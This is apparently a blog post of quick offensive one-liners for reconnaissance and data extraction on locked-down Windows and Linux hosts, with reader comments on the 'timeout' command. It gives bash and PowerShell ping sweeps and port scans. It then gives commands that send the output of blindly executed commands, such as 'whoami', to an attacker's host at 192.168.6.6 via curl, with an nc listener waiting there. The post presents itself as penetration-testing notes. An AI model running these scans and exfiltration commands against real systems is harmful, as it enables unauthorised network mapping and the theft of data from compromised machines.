Simple Ping Sweep, Port Scan, and Getting Output from Blind Remote Command Execution

Just dumping some quick and dirty one-liners! These are commands I had used to explore locked-down Windows and Linux machines, using bash or powershell when no other binaries were available or could be transferred to the boxes easily.

Trying to ping all hosts in a subnet

Linux

for i in $(seq 1 254); do host=192.168.0.$i; if timeout 0.1 ping -c 1 $host >/dev/null; then echo $host is alive; fi; done

Edit – a great improvement of this is the following, recommended by 0xdf:

for i in {1..254}; do (host=192.168.0.$i; if ping -c 1 $host > /dev/null; then echo $host alive; fi &); done

 

Windows – not the fastest as there is no timeout option for Test-Connection:

powershell -c "1..254 | % {$h='192.168.0.'+$($_); if ($(Test-Connection -Count 1 $h -ErrorAction SilentlyContinue)) { $('host '+$h+' is alive')|Write-Host}}"

Scanning open ports

Linux:

host=192.168.0.1; for port in {1..1000}; do timeout 0.1 bash -c "echo >/dev/tcp/$host/$port && echo port $port is open"; done 2>/dev/null

… or if nc is avaiable:

for port in $(seq 1 1000); do timeout 0.1 nc -zv 192.168.0.1 $port 2>&1 | grep succeeded; done

Windows – not using Test-NetConnection in order to control the timeout:

powershell -c "$s=$('192.168.0.1');1..1000 | % {$c=New-Object System.Net.Sockets.TcpClient;$c.BeginConnect($s,$_,$null,$null)|Out-Null;Start-Sleep -milli 100; if ($c.Connected) {$('port '+$_+' is open')|Write-Host }}"

Getting output back

… if all you can is running a command blindly, and if there is an open outbound port. In the examples below 192.168.6.6 is the attacker’s host – on which you would start a listener like:

nc -lvp 80

Linux

curl -d $(whoami) 192.168.6.6

Windows

powershell -c curl 192.168.6.6 -method POST -body $(whoami)

3 thoughts on “Simple Ping Sweep, Port Scan, and Getting Output from Blind Remote Command Execution

  1. On what systems did you test that?
    The smallest time I can use for timeout command is one second on RHEL6.
    From the man page:
    Start COMMAND, and kill it if still running after NUMBER seconds. SUFFIX may be ‘s’ for seconds (the default), ‘m’ for minutes, ‘h’ for hours or ‘d’ for days.

    1. On Kali Linux (Debian). According to the help output, the duration can be a floating point number:

      ” timeout –help
      Usage: timeout [OPTION] DURATION COMMAND [ARG]…
      or: timeout [OPTION]
      Start COMMAND, and kill it if still running after DURATION.

      DURATION is a floating point number with an optional suffix:
      ‘s’ for seconds (the default), ‘m’ for minutes, ‘h’ for hours or ‘d’ for days.”

Leave a Comment

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.